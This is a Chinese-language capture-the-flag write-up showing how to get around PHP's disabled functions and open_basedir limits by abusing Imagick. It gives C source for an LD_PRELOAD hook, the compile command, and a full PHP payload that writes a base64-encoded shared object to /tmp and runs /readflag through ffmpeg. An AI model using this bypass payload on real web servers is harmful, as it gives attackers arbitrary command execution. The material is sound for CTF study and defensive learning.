https://www.yourhome.ren/index.php/sec/612.html
0x01 审题
访问题目地址，得到页面内容如下：
http://111.186.63.208:31340/
image.png
题目已经给了一个代码执行功能，通过POST传递backdoor参数可以执行命令，查看phpinfo看到disable_function已经把命令执行函数都给ban了
image.png
通过题目提示，可以知道解题思路是要通过PHP的Imagick拓展来绕过，执行/readflag以获取flag
另外，通过查看index.php源码可以看到题目设置了open_basedir，可操作目录范围被限制
image.png
参考此篇文章介绍，已经有给出了利用LD_PRELOAD和mail()来绕过disable_function的利用方法:
https://www.freebuf.com/articles/web/192052.html
但是在这道题，禁用的函数包括了mail()，因此我们需要利用同样的原理，通过putenv()来修改环境变量，调用外部系统命令来执行LD_PRELOADHOOK的函数，以执行任意系统命令
这里需要通过PHP的imagick来达到同样的目的
上面方法中提到
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 __attribute__((constructor)) 修饰的函数
利用这一点，将该拓展修饰符进行修改，编译为共享对象:
#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void preloadme (void)
{
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
执行编译命令：
gcc -shared -fPIC hook.c -o hook.so
接下来，需要做的是将该so文件上传到服务器，通过putenv("LD_PRELOAD=")来加载该so文件
加载so文件后尝试在PHP下调用外部程序，以触发so文件中的任意代码执行
在ImageMagick官网查看其支持的格式，发现两个需要ffmpeg支持的格式M2V和MPEG
image.png
0x02 解题
最终解题思路和操作过程就比较清晰了：
1、将编译的so文件上传到可以支配的目录下
2、通过putenv设置LD_PRELOAD和EVIL_CMDLINE环境变量
3、调用imagick读取MPEG或M2V格式文件以执行外部ffmpeg
4、触发so文件中的系统命令执行
so文件写入利用base64编码解码实现，构造的Payload:
backdoor=$raw=base64_decode("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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==");file_put_contents("/tmp/17c2a43594825e72a3fdbf0a9283220d/bypass.so",$raw);putenv("EVIL_CMDLINE=bash -c /readflag > /tmp/17c2a43594825e72a3fdbf0a9283220d/output");putenv("LD_PRELOAD=/tmp/17c2a43594825e72a3fdbf0a9283220d/bypass.so");file_put_contents("/tmp/17c2a43594825e72a3fdbf0a9283220d/yunsle.mpeg", "mpeg");$thumb = new Imagick("/tmp/17c2a43594825e72a3fdbf0a9283220d/yunsle.mpeg");
最终读取output拿到flag：
image.png